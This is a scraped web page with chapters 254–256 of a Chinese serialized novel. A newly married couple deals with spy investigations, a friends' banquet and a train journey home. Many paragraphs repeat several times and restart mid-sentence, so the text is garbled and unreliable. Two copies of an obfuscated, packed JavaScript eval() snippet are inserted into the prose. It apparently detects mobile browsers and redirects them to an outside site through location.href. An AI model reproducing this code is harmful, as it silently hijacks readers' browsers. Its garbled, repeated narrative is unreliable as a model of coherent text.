陆良辰站得笔直,军姿如松。 “两位爷爷,我虽然已经不在部队里了,但现在的身份,要调查一些事反而 会更方便,最起码盯着我的人少了,请给我三个月时间,我必然将这些事情调查清楚。” “良辰,你要顺着线索,将潜伏在部队里的那些间谍都挖出来。我们不能任由他们潜伏在内部,一次次破坏我们的行动,让无辜的战士为此送命!” 陆良辰认真的答应下来:“爷爷,我一定完成任务!为部队除害,为岳父和岳母报仇。” 话未说完,书房门突然被轻轻叩响。 姜海棠端着茶盘站在门口,脸色有些苍白,显然是听到了陆良辰刚才说饿话。 “海棠……”陆良辰声音带了一点不自然。 “我都听见了。”姜海棠的声音轻得像羽毛,茶盘里的杯子却纹丝不动。 她走进来,轻轻带上门。 “良辰,谢谢你。”已经过去二十年了,要查当**情,该是多么困难。 就不要说那些能潜伏二十多年的间谍,背后的势力肯定不小,但陆良辰却坚持调查,这是要冒着极大风险的。 “我们是夫妻,是一体,你的父母,就是我的父母,为他们做点事,是我这个当女婿的应该的。海棠,这些事,你别操心,都交给我就行。” 陆良辰轻轻握住姜海棠的手,语气坚定的说着。 他是真的心疼海棠,小姑娘从来没有见过亲生父母,从小受尽苦楚,可是,却能保持健康积极向上的心态生活。 “不管我们以后遇到什么样的困难和危险,我都会尽全力保护你不收任何伤害。” 暴雨依然在持续。 等姜老爷子和陆老爷子从书房里出来的时候,姜老爷子的眼睛还是红红的。 小桃子看到了,怯生生地转身,撞上了何婉仪温暖的怀抱。 “奶奶,太爷爷为什么哭呀?”小桃子仰起脸问。 明明今天一整天,太爷爷都很开心啊,怎么到了晚上就哭了? 何婉仪叹了一口气,轻拍孙女的背:“因为太爷爷想他的儿子了……就像小桃子想妈妈那样。” 即便是没听到书房里都说了什么,但她几乎可以断定,姜老爷子是因早年牺牲的儿子而哭! 送走了姜老爷子,姜海棠和陆良辰回到卧室。 陆良辰从背后抱住她,发现她在微微发抖。 “为什么不早告诉我?”她问,声音平静得很。 陆良辰把脸埋在她颈间:“我不想让你陷入危险。” 姜海棠突然转身,她红着眼睛说:“良辰!我以前不知道,但现在知道了,我的父母是烈士, 我是烈士的女儿,不是温室里的花朵!” “即便我从来没有见过他们,即便,我不知道他们长得什么样,我也想知道谁杀了他们,让我成为孤儿!” “我知道!我都知道,我不应该瞒着你,海棠,我都告诉你,不过,你要答应我,不能冒险……”陆良辰抓住她的手腕,拉着她在床沿上坐下,说起他所知道的一切。 姜海棠虽然不曾见过父母,但是从陆良辰的话中,她对他们开始有了具象化的认识。 两辈子了,她才知道,她有这样一对优秀的父母。 转眼,又是两天过去。 这日,他们一家三口正在家里,门外突然传来汽车急刹的声音。 姜海棠一怔,这里可是大院,怎么会有人这样冒失? 不等她想明白,就看到几个年轻人吵吵嚷嚷地闯进来。 “老陆!新婚生活过的怎么样?哥几个等不到你和我们约一约,上门找你来了。 “嫂子在不在家?陆哥,你别把嫂子藏起来啊,让兄弟们看看!“ “哟,这就是嫂子吧?比结婚那天还漂亮。” 陆良辰无奈地扶额。 来的是他的一些发小,这些人都是大院里一起长大的,现在各自工作不同,但关系还是很铁。 “良辰,我们准备了宴席,请你和嫂子过去一叙!这点面子不能不给兄弟们吧?” 我是烈士的女儿,不是温室里的花朵!” “即便我从来没有见过他们,即便,我不知道他们长得什么样,我也想知道谁杀了他们,让我成为孤儿!” “我知道!我都知道,我不应该瞒着你,海棠,我都告诉你,不过,你要答应我,不能冒险……”陆良辰抓住她的手腕,拉着她在床沿上坐下,说起他所知道的一切。 姜海棠虽然不曾见过父母,但是从陆良辰的话中,她对他们开始有了具象化的认识。 两辈子了,她才知道,她有这样一对优秀的父母。 转眼,又是两天过去。 这日,他们一家三口正在家里,门外突然传来汽车急刹的声音。 姜海棠一怔,这里可是大院,怎么会有人这样冒失? 不等她想明白,就看到几个年轻人吵吵嚷嚷地闯进来。 “老陆!新婚生活过的怎么样?哥几个等不到你和我们约一约,上门找你来了。 “嫂子在不在家?陆哥,你别把嫂子藏起来啊,让兄弟们看看!“ “哟,这就是嫂子吧?比结婚那天还漂亮。” 陆良辰无奈地扶额。 来的是他的一些发小,这些人都是大院里一起长大的,现在各自工作不同,但关系还是很铁。 “良辰,我们准备了宴席,请你和嫂子过去一叙!这点面子不能不给兄弟们吧?” 我是烈士的女儿,不是温室里的花朵!” “即便我从来没有见过他们,即便,我不知道他们长得什么样,我也想知道谁杀了他们,让我成为孤儿!” “我知道!我都知道,我不应该瞒着你,海棠,我都告诉你,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哟,这就是嫂子吧?比结婚那天还漂亮。” 陆良辰无奈地扶额。 来的是他的一些发小,这些人都是大院里一起长大的,现在各自工作不同,但关系还是很铁。 “良辰,我们准备了宴席,请你和嫂子过去一叙!这点面子不能不给兄弟们吧?” 我是烈士的女儿,不是温室里的花朵!” “即便我从来没有见过他们,即便,我不知道他们长得什么样,我也想知道谁杀了他们,让我成为孤儿!” “我知道!我都知道,我不应该瞒着你,海棠,我都告诉你,不过,你要答应我,不能冒险……”陆良辰抓住她的手腕,拉着她在床沿上坐下,说起他所知道的一切。 姜海棠虽然不曾见过父母,但是从陆良辰的话中,她对他们开始有了具象化的认识。 两辈子了,她才知道,她有这样一对优秀的父母。 转眼,又是两天过去。 这日,他们一家三口正在家里,门外突然传来汽车急刹的声音。 姜海棠一怔,这里可是大院,怎么会有人这样冒失? 不等她想明白,就看到几个年轻人吵吵嚷嚷地闯进来。 “老陆!新婚生活过的怎么样?哥几个等不到你和我们约一约,上门找你来了。 “嫂子在不在家?陆哥,你别把嫂子藏起来啊,让兄弟们看看!“ “哟,这就是嫂子吧?比结婚那天还漂亮。” 陆良辰无奈地扶额。 来的是他的一些发小,这些人都是大院里一起长大的,现在各自工作不同,但关系还是很铁。 “良辰,我们准备了宴席,请你和嫂子过去一叙!这点面子不能不给兄弟们吧?” 我是烈士的女儿,不是温室里的花朵!” “即便我从来没有见过他们,即便,我不知道他们长得什么样,我也想知道谁杀了他们,让我成为孤儿!” “我知道!我都知道,我不应该瞒着你,海棠,我都告诉你,不过,你要答应我,不能冒险……”陆良辰抓住她的手腕,拉着她在床沿上坐下,说起他所知道的一切。 姜海棠虽然不曾见过父母,但是从陆良辰的话中,她对他们开始有了具象化的认识。 两辈子了,她才知道,她有这样一对优秀的父母。 转眼,又是两天过去。 这日,他们一家三口正在家里,门外突然传来汽车急刹的声音。 姜海棠一怔,这里可是大院,怎么会有人这样冒失? 不等她想明白,就看到几个年轻人吵吵嚷嚷地闯进来。 “老陆!新婚生活过的怎么样?哥几个等不到你和我们约一约,上门找你来了。 “嫂子在不在家?陆哥,你别把嫂子藏起来啊,让兄弟们看看!“ “哟,这就是嫂子吧?比结婚那天还漂亮。” 陆良辰无奈地扶额。 来的是他的一些发小,这些人都是大院里一起长大的,现在各自工作不同,但关系还是很铁。 “良辰,我们准备了宴席,请你和嫂子过去一叙!这点面子不能不给兄弟们吧?” 第255章 聚会 陆良辰闻声无奈的扶额站起身迎了过去:“陈卫国、李援朝、刘铁军你们几个……怎么招呼都不打就闯进来了?还有没有点规矩了?” 语气带着熟稔的责备但脸上并无多少愠色。 来的是他从小光屁股玩到大的发小都是军区大院里一起滚大的。 虽然现在各自工作不同有的在部队有的在工厂有的在机关但那份情谊和说话办事的随意劲儿一点没变。 实际上就他们这些人也是难得才能聚在一起一回。 这一次如果不是因为陆良辰要结婚可能也不会这么齐全地凑在一起。 被叫做陈卫国的高个子一把揽住陆良辰的肩膀嗓门洪亮。 “规矩?跟你陆大厂长讲什么规矩?知道你新婚燕尔兄弟们体谅这不是给你留了几天时间嘛!结果你小子倒好大门不出二门不迈眼看要回你那西北纺织厂当山大王去了再不聚兄弟们上哪儿逮你去?” 他边说边笑着朝姜海棠点头“嫂子对不住啊我们这群人粗惯了您多包涵!” 李援朝也笑嘻嘻的接口:“真不是我们不识趣。哥几个知道你忙嫂子也忙可这情分不能断啊。” 其他几个发小也围了过来七嘴八舌地叫着“嫂子”目光里是纯粹的好奇和打量。 姜海棠感到脸颊更热了只能努力弯起嘴角微微点头算是回应这份灼热又陌生的热情。 “行了行了都收敛点!”陆良辰看出了姜海棠的窘迫上前一步看似责备实则维护地隔开众人一点手臂自然地揽住姜海棠微微僵硬的肩头给她传递一丝安定的力量“瞧你们这阵仗别吓着人。” “嘿嘿吓不着嫂子一看就是爽利人!”王卫东浑不在意地摆摆手随即大手一挥宣布了来意。 姜海棠忙笑笑 “不用这么麻烦哪能让嫂子给我们做饭。我们几个凑了点分子在新侨饭店定了桌席专门请你们两口子!一来给你们贺新婚二来也是给你饯行。这点面子不能不给兄弟们吧?”李援朝勾肩搭背地说。 刘铁军也在旁边帮腔:“就是就是!陆哥你放心都是自己人就我们哥儿几个绝对不闹腾。嫂子您也一定得赏光让我们也沾沾陆哥的喜气!” 姜海棠看着这几个风风火火、热情洋溢的青年一时不知如何是好。 她看向陆良辰眼神里带着询问 。 陆良辰明白,这帮兄弟是真心实意,而且话都说到这份上了,再推辞就伤感情了。 何况,能够张罗到新侨饭店,他们也是真的费了心思。 陆良辰叹了口气,脸上露出无奈又带着点暖意的笑容。 他转向妻子,语气温和,“这几个都是穿开裆裤就一起混的兄弟,不用和他们见外,走,咱去吃饭。 姜海棠没有不应的道理,何况,一个男人愿意让妻子进入他的圈子,才是真正的当妻子是自己人。 她脸上露出得体的微笑,答应了下来。 陈卫国大手一挥,“嫂子,那我们就等着你们过来了。晚上六点,新侨饭店,不见不散! “行,行,说定了。陆良辰笑着应下,“不过先说好,点到为止,明天还得收拾行李。 “的嘞!明白!不耽误你们小两口的大事!李援朝挤眉弄眼地打趣。 几个发小又嘻嘻哈哈闹了几句,像来时一样风风火火地告辞了,院子里响起吉普车发动远去的引擎声。 客厅里重新安静下来。 陆良辰看着还有些怔忡的姜海棠,走过去轻轻握了握她的手。 “不习惯? “他们还挺外向的。姜海棠想了好一会儿,想到了这么个形容。 陆良辰哈哈大笑起来。 “从小野惯了,在大院里横冲直撞的,可不就是外向。但他们人都是极好的,重情义。 姜海棠点点头,“能看出来,他们跟你感情很深。 陆良辰点头,“自小的情分,自是和别人不同。大院里长大的孩子,尤其我们这一拨,仗着父辈的功劳,有时候是有点不知天高地厚。这些年,也没少吃亏。 “有这么些好朋友,是好事。姜海棠对于丈夫有这么多好朋友,还是挺开心的。 虽然陆良辰没说过,但从一个得意的身份,到了最后,不得不去西北当一个纺织厂的厂长,或许,这并不是陆良辰所愿。 从京城到金城的千里关山,不仅仅是万水千山,更割断了当年的恣意青春和少年意气。 这几位发小身上鲜活跳脱的气息,或许正是陆良辰生命底色中不可或缺的一部分。 傍晚,新侨饭店灯火通明。 在物资尚不丰裕的年代,这里算得上京城顶级的去处之一。 在这里设宴,不是一般人能做到的。 陆良辰和姜海棠走进预定的小包间,陈卫国他们几个早已到了,桌上竟罕见地摆着几瓶茅台和 一瓶红葡萄酒还有几样精致的凉菜甚至有一小块奶油蛋糕显然是花了大力气弄来的。 “陆哥!嫂子!快来快来就等你们了!”刘铁军热情地招呼。 “这么多好东西你们破费了。”陆良辰客气了一句。 “当了厂长还跟我们这些兄弟们客气上了都是自己人图个热闹高兴!” “可不你是我们兄弟里第一个当厂长的又娶了这么厉害的媳妇儿双喜临门!这顿酒必须喝!” 几个兄弟一面说话一面倒酒气氛很快就热络了起来。 “来来来我们大家一起举杯走一个!”刘铁军举杯说。 “我们喝你们嫂子喝汽水就行了胳膊上有伤还没好呢。” 陆良辰拿起桌上的汽水瓶给姜海棠面前的杯子满上橙黄色的液体泛起细密的气泡。 “还是良辰回心疼媳妇来来来良辰嫂子不喝酒你可不能不喝。”陈卫国看着陆良辰贴心照顾着姜海棠端起酒杯说:“来哥儿几个为良辰和嫂子干一个!祝你们和和美美早生贵子!” 气氛在他的带动下重新活络起来叮叮当当的碰杯声响起。 酒过三巡发小们的话匣子彻底打开。 他们回忆着童年在大院里掏鸟窝、偷骑军用摩托的糗事感叹着时光飞逝。 姜海棠只是默默地吃菜听着他们说这些少年时期的故事。 看着陆良辰想着现在的陆良辰身上搞完全看不到当年的淘气。 同时也心疼这样优秀的一个人却不得不离开部队来到地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039083|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈卫国端起酒杯脸色微红语气却认真起来“良辰说真的哥几个佩服你!竟然去西北那风沙地里扑腾。纺织厂那摊子听说复杂得很……不容易!” “但兄弟知道你不是那种放弃自己的人就算在西北你也是真想干点实事的!这杯酒敬你这份心气!也敬嫂子能陪着你吃苦!” 李援朝也举杯:“卫国说得对!陆哥你在前面冲锋陷阵后勤有我们照应着!有啥难处指个信回来!西北天高皇帝远 陆良辰心中感动与姜海棠一起举杯回敬。 姜海棠也真切地感受到了这群看似大大咧咧的青年对丈夫深厚的兄弟情谊和发自内心的支持。 她得体地向大家敬酒感谢他们的盛情。 席间自然也少不了对时局、对工作的议论。 这些发小们有的在工厂 抓生产,有的在部队,也都在各自岗位上感受到了一些变化。 他们聊起各自单位的见闻,言语间带着年轻人特有的锐气和期待。 姜海棠安静地听着,偶尔插一两句关于纺织技术革新的话题,也赢得了大家真诚的赞赏。 这些人出身都不低,对于姜海棠,也多少通过方方面面有所了解,知道这是个非常厉害的姑娘,能在西北做出贡献,能被周副部长看重,带去国外学习,也就是这样的姑娘,才能配得上陆良辰这样优秀的人。 酒酣耳热之际,不知是谁起了个头,哼唱起了一首当年流行的苏联老歌的调子,其他人也跟着轻轻哼起来。 包间里弥漫着一种属于他们青春怀旧与对未来的憧憬。 聚会持续到晚上九点多才结束。 陆良辰和姜海棠婉拒了发小们开车送他们回去的提议,选择了步行。 七月的京城夜晚,暑气未消,但晚风吹拂,带来一丝凉爽。 走在静谧的胡同里,远离了饭店的喧嚣,两人一时都没有说话。 姜海棠挽着陆良辰的手臂,轻轻靠着他。 她能感觉到丈夫身上淡淡的酒气,也能感受到他此刻内心的波澜。 “他们……很热情,我想,当年,你应该也是如此!”姜海棠轻声说。 如果不是这几年的高压,如果不是陆家需要断尾求生,或许,陆良辰会在部队上大展身手。 “是啊!当年,我也和他们差不多,只是……都过去了。”陆良辰的声音带着一丝不易察觉的喟叹。 “你后悔过吗?”姜海棠问。 “不后悔,如果我一直在部队,或许,就不会遇到你了。” 以前,多少有些意难平,但现在,他已经释然了,或许,他转业到西北,就是为了遇见海棠吧! 他握紧了妻子的手,“有你在身边,我不会后悔。” 姜海棠抬起头,月光下她的眼神清澈而坚定:“我们一起为了纺织厂的明天努力,等纺织厂走上正轨,我们再回京城!” 陆良辰这些天其实很纠结,错过了这一次回京城的机会,未来会出现什么变数根本想不到,或许,他们再也没有回京城的机会了。 他用力握紧她的手,声音低沉而有力:“热闹是他们的,日子是我们的。在西北,我们或许能走出一样不同的路。” 第256章 回家 在京城的日子过得飞快。 这日,吃饭的时候,姜老爷子提起了他们回西北的事:“良辰啊,你们的车票买好了吗?” 陆良辰放下筷子:“买好了,后天下午的火车票,特批的卧铺。” 何婉仪夹了一筷子炒鸡蛋放到姜海棠碗里:“这么急?不能再多住几天?到了西北,也没人照顾你,我是真的不放心。” “妈,”陆良辰解释道,“我这次请的是婚假,加上之前攒的探亲假,已经超了。再说,海棠的工作也耽误不得。” 姜海棠注意到婆婆眼中的不舍,轻轻握住何婉仪的手:“妈,等过年我们一定回来。再说,现在通信方便,我们可以经常写信。” 何婉仪叹了口气,转而开始操心起他们路上要带的东西。 “我给你们准备些东西,你们带回去,过日子,要的东西不少,你们年轻,待遇不高,缺了什么少了什么,可跟我们长辈们客气,只管说,我们总比你们办法多一些……” 何婉仪絮絮叨叨的叮嘱着,姜海棠乖巧的答应着。 何婉仪和袁一楠还有时书岚三个忙着给他们准备各种吃穿用度。 姜老爷子则悄悄塞给陆良辰一个小布包,里面是一些钱和票。 我早些年不知道还有海棠这么个孙女儿,存下的东西不多,这些你们先拿着过日子。 “爷爷,这我们不能要,我和海棠待遇都不错,不缺钱票。”陆良辰坚决推辞。 “你们有的是你们的,我知道你们待遇都不错,可这是我老头子对孙女儿的心意,不能拒绝。” “西北艰苦,良辰啊,你是男人,要照顾好她们娘俩。有时间了,你们就回来,我年纪大了,见一面少一面。” 陆良辰忙说:“爷爷,您可千万别这么想,您老当益壮,再说了,您难道不想看看您的重孙子?” “你小子可得努力一点,别让我等太久。”姜老爷子听到重孙子几个字,显然来了兴趣。 第二天,何婉仪、袁一楠还有时书岚两口子送他们去火车站。 临行前,姜国柱把将海滩拉到一边,塞给她一个老旧的信封。 “这是你父亲留下的一些东西,等回头,你给良辰,或许用得上。”老人粗糙的手掌抚过孙女的手:“好孩子,和良辰好好过,这孩子,是我看着长大的,没毛病。” 姜海棠紧紧抱住爷爷,闻到他身上熟悉的烟草味。 这个曾经在战场上所向披靡的老将军,此刻脆弱得像片枯叶。 “爷爷 ,我会抽空回来看您的,再有一年,最多两年,一切都会好起来的,我们就可以堂堂正正地相认了。” “好,爷爷等着这一天。” 吉普车驶出军区大院时,小桃子趴在车窗上拼命挥手。 后视镜里,两位白发苍苍的老军人站在太阳下,军姿挺拔如松,直到转弯才消失不见。 站台上,何婉仪红着眼眶一遍遍叮嘱,袁一楠往小桃子口袋里塞糖果。 说着说着,何婉仪的眼睛就湿润了,这时候,火车鸣笛进站。 小桃子突然哭了起来,紧紧抱住何婉仪的腿:“奶奶,我会想你的……” 姜海棠蹲下身,轻轻擦去女儿的眼泪:“小桃子乖,我们过年就回来看爷爷奶奶。爸爸不是说要在咱们院子里种棵苹果树吗?咱们回去就种树好不好?” 陆良辰把女儿抱起来,让她坐在自己肩膀上:“奶奶有时间就来看小桃子了,小桃子可不能哭啊!哭了就不漂亮了。我们要让奶奶和哥哥们记住漂亮的小桃子对不对?” 两口子一起哄,总算把小姑娘哄的不哭了。 一家三口上了火车,小桃子依然在依依不舍的对着窗外的人挥手。 何婉仪叹口气说:“等回家,还有得哄呢,那几个臭小子,要是知道妹妹走了,少不得要闹腾。” 家中几个大人想起来,家里几个国上学去了,不知道小桃子今天离开。 晚上回家找不到妹妹,肯定要折腾。 “等什么时候,他们回来就好了。” “最近总觉得风气有些变了,或许过上一段时间,他们就能回来了,我们陆家也不用这样谨小慎微了。”袁一楠压低声音说了这么一句。 火车缓缓启动,姜海棠透过车窗,看着站台上挥手的身影越来越远,最终变成小小的黑点。 她深吸一口气,转头看向身边的丈夫和女儿,满目都是化不开的爱意。 火车“哐当哐当“地驶离京城站台,窗外的景色渐渐由密集的房屋变为开阔的田野。 小桃子趴在车窗边,鼻子紧贴着玻璃,眼睛瞪得圆圆的,看着那些飞快后退的电线杆和远处的麦田。 “妈妈,那些麦子怎么都黄黄的?”小桃子转过头,小脸上还带着泪痕,但已经被新奇的事物吸引了注意力。 姜海棠用湿毛巾轻轻擦着女儿的脸:“因为现在是夏天,麦子成熟了就会变黄。这一路上,你会看到更多不一样的风景哦。” 陆良辰从行李架上取下军绿色水壶,倒了一杯温水递给妻子: “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 “来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 “来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 “来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 